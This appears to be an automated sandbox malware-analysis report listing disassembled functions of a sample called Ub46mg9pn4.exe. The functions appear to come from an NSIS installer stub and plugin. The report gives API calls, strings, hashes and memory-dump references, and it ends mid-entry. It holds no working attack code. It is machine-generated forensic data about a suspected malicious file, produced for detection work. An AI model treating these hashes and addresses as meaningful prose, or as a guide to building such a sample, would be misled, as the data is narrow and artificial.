String ID:
API String ID: 1780285237-0
Opcode ID: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction ID: 149f0ffe7112dafd64944f245e56057b96fa329c468151baa91e3d773918aa42
Opcode Fuzzy Hash: e72053471c67904cbc9fe51406c75cdd0d1e7ae72e07fb5691a107031e3f1593
Instruction Fuzzy Hash: 1031AF71504651EFF721CF14CCA8E2B7BB8FB853D2F114119F940961A8C7719851DB69

Function 004028A7 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 004028FB
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 00402917
GlobalFree.KERNEL32(?), ref: 00402950
GlobalFree.KERNEL32(00000000), ref: 00402963
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 0040297B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 0040298F

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 71fa0d7f1f6972b2f5f4a603ea8383ed055fcf66cbac6c56c0d77bb029e8dc11
Instruction ID: c824e8dfb1c84b3956194132b72a9c46ff30f807773af65f81dcebc4e122496d
Opcode Fuzzy Hash: 71fa0d7f1f6972b2f5f4a603ea8383ed055fcf66cbac6c56c0d77bb029e8dc11
Instruction Fuzzy Hash: 6521BFB1800128BBDF216FA5DE49D9E7E79EF09364F10023AF960762E0CB7949418B98

Function 00404BD0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404C71
wsprintfW.USER32 ref: 00404C7A
SetDlgItemTextW.USER32(?,00423728), ref: 00404C8D

Strings

%u.%u%s%s, xrefs: 00404C5B
(7B, xrefs: 00404C63

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 58f77135636fcca40ac9b9d1b3b9f97977a6748d84aaa2f98ffb75d2f2ac1724
Instruction ID: 703546cccce40a16f7c4e0327b319c47dc4604cc2262111db7ea86f65ec4581c
Opcode Fuzzy Hash: 58f77135636fcca40ac9b9d1b3b9f97977a6748d84aaa2f98ffb75d2f2ac1724
Instruction Fuzzy Hash: 0911E7736041287BEB00556DAD46EAF329CDB85374F254237FA66F31D1DA79CC2182E8

Function 00402592 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsnB635.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll,00000400,?,?,00000021), ref: 004025E2
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsnB635.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll,00000400,?,?,00000021), ref: 004025ED

Strings

C:\Users\user\AppData\Local\Temp\nsnB635.tmp, xrefs: 004025DB
C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll, xrefs: 004025AD, 004025D4, 004025E8, 00402634

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsnB635.tmp$C:\Users\user\AppData\Local\Temp\nsnB635.tmp\System.dll
API String ID: 3109718747-978510012
Opcode ID: 04c8a0be0a3c8b5bca7af342d1437c7cd7f7eafe97cd42d6f17c4336303185e8
Instruction ID: 778b7e41730bacb68cbd472b7e3a637cf80abcfea8faeb2db308f16ae4ae4a1c
Opcode Fuzzy Hash: 04c8a0be0a3c8b5bca7af342d1437c7cd7f7eafe97cd42d6f17c4336303185e8
Instruction Fuzzy Hash: 35112E72A00204BBDB146FB18F8D99F76649F55394F20443BF502F61C1DAFC48425B5E

Function 100022D0 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002411

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000001.00000002.120011465970.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.120011438021.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011492238.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011517371.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Ub46mg9pn4.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction ID: e010a8171ff36a63e9221139458dc5df23460d7ee6f57f6168b5e09891e1807c
Opcode Fuzzy Hash: 40c1fda0fc222d3deaf0be0606799ffba2a33d40f74f168943dcfaeb9bc9158e
Instruction Fuzzy Hash: 9141D2B4408305EFF324DF24C880A6AB7F8FB843D4B11892DF94687199DB34BA94CB65

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000001.00000002.120011465970.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.120011438021.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011492238.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011517371.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Ub46mg9pn4.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401D57 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D5D
GetClientRect.USER32(00000000,?), ref: 00401D6A
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D8B
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D99
DeleteObject.GDI32(00000000), ref: 00401DA8

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1cce6cf5ba1aed4fa5ce4547bc0ae4b149cf4eb258e4777d2c59333f9832c14c
Instruction ID: a606f7d5b7d9f25f85f3a996f6cf1d54ca927bfb9af82e5c1f6e8eb7e31f2730
Opcode Fuzzy Hash: 1cce6cf5ba1aed4fa5ce4547bc0ae4b149cf4eb258e4777d2c59333f9832c14c
Instruction Fuzzy Hash: 88F0FF72604518AFDB01DBE4DF88CEEB7BCEB08341B14047AF641F61A1CA749D518B78

Function 00401C19 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C89
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA1

Strings

!, xrefs: 00401C55

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 8f57c4960d5009b47da13ac1dbf9672dc76c0f1a0d468b1b2fcc5bc99a892ac9
Instruction ID: 90968196233f782bf8ff3785c90d26ea0bd53ded382d002e8ee2e27c6658862d
Opcode Fuzzy Hash: 8f57c4960d5009b47da13ac1dbf9672dc76c0f1a0d468b1b2fcc5bc99a892ac9
Instruction Fuzzy Hash: 6121C171948209AEEF05EFA5CE4AABE7BB4EF84308F14443EF502B61D0D7B84541DB28

Function 00405C81 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403476,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5,?,00000006,00000008,0000000A), ref: 00405C87
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403476,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,763B3420,004036D5,?,00000006,00000008,0000000A), ref: 00405C91
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CA3

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C81

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-787714339
Opcode ID: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction ID: 792cc20aee96bfe2db1a273563d78520df22e3750eb0c1a77993888458b10d09
Opcode Fuzzy Hash: 2d89e3346713fcbf25affea4869717dbbf7bb0cb650dc976aff6b925dbbb9e25
Instruction Fuzzy Hash: DBD0A731111631AAC1116B458D05CDF769C9F46315342143BF501B30A1C77C1D6187FD

Function 00405D89 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063B0: lstrcpynW.KERNEL32(?,?,00000400,0040355A,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063BD

Part of subcall function 00405D2C: CharNextW.USER32(?,?,00425F30,?,00405DA0,00425F30,00425F30,?,?,763B2EE0,00405ADE,?,C:\Users\user\AppData\Local\Temp\,763B2EE0,00000000), ref: 00405D3A
Part of subcall function 00405D2C: CharNextW.USER32(00000000), ref: 00405D3F
Part of subcall function 00405D2C: CharNextW.USER32(00000000), ref: 00405D57

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,763B2EE0,00405ADE,?,C:\Users\user\AppData\Local\Temp\,763B2EE0,00000000), ref: 00405DE2
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,763B2EE0,00405ADE,?,C:\Users\user\AppData\Local\Temp\,763B2EE0), ref: 00405DF2

Strings

0_B, xrefs: 00405D8F

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: 9ab52294f1c51de88c4a4db8473d9fc5f5165192c0b0c0d383058277ec03ae92
Instruction ID: 7d5bbe1e5c8c3abe72dbe24b1e5e7d34393fbb328f3a5d3c645332532cfc401b
Opcode Fuzzy Hash: 9ab52294f1c51de88c4a4db8473d9fc5f5165192c0b0c0d383058277ec03ae92
Instruction Fuzzy Hash: 61F0D125114E6156E62232364D0DBAF1954CE8236474A853BFC51B22D1DB3C8953CDAE

Function 00405388 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053B7
CallWindowProcW.USER32(?,?,?,?), ref: 00405408

Part of subcall function 00404391: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043A3

Strings

, xrefs: 00405398

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 7f0b268359981ce96b8471a5d3c832aa899a6e6df9d4a1bd192212e4a6da3699
Instruction ID: e7a51b5005e981c4ca122d20ba3fe12824fd99f760bfe42b36e815d14bf77052
Opcode Fuzzy Hash: 7f0b268359981ce96b8471a5d3c832aa899a6e6df9d4a1bd192212e4a6da3699
Instruction Fuzzy Hash: 5C01717120060DABDF209F11DD84AAB3735EB84395F204037FE457A1D1C7BA8D92AF69

Function 0040627E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,004064F2,80000002), ref: 004062C4
RegCloseKey.ADVAPI32(?,?,004064F2,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 004062CF

Strings

Call, xrefs: 00406285

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: eb1f67c4e7283d14696156d079f1c46a9bcf05f485b6848abf2eef10094c0e69
Instruction ID: c3e7de0656b9710826ab6423f517e97bb9b3954c36c3ca231a2eb326ebdf078d
Opcode Fuzzy Hash: eb1f67c4e7283d14696156d079f1c46a9bcf05f485b6848abf2eef10094c0e69
Instruction Fuzzy Hash: 80019A32500209EADF219F90CC09EDB3BA8EF55360F01803AFD16A21A0D738DA64DBA4

Function 00403A29 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,763B2EE0,00403A00,763B3420,004037FF,00000006,?,00000006,00000008,0000000A), ref: 00403A43
GlobalFree.KERNEL32(?), ref: 00403A4A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A3B

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-787714339
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 78aecf43d79df039942bc1d46619d1d902388d1bf991e2316d5006033f35a71e
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: D9E08C32A000205BC6229F45ED04B5E7B6C6F48B22F0A023AE8C07B26087745C82CF88

Function 00405CCD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402F80,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Ub46mg9pn4.exe,C:\Users\user\Desktop\Ub46mg9pn4.exe,80000000,00000003), ref: 00405CD3
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F80,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Ub46mg9pn4.exe,C:\Users\user\Desktop\Ub46mg9pn4.exe,80000000,00000003), ref: 00405CE3

Strings

C:\Users\user\Desktop, xrefs: 00405CCD

Memory Dump Source

Source File: 00000001.00000002.119995117878.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.119995090477.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995145421.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000452000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995174283.0000000000454000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.119995367944.0000000000457000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Ub46mg9pn4.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3443045126
Opcode ID: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction ID: 4c3d9e560c0c996ae094f7ef7b1b4ed865fc8cc67bffad09b41611580a74fc2a
Opcode Fuzzy Hash: ce420ed133ef401578f7edf27e8b1e41d4059e21aeef7803f585746dd391eaaa
Instruction Fuzzy Hash: 03D05EB2414A209AD3126704DD01D9F73A8EF12314746442AE841A6161E7785C918AAC

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000001.00000002.120011465970.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.120011438021.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011492238.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.120011517371.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Ub46mg9pn4.jbxd

Similarity

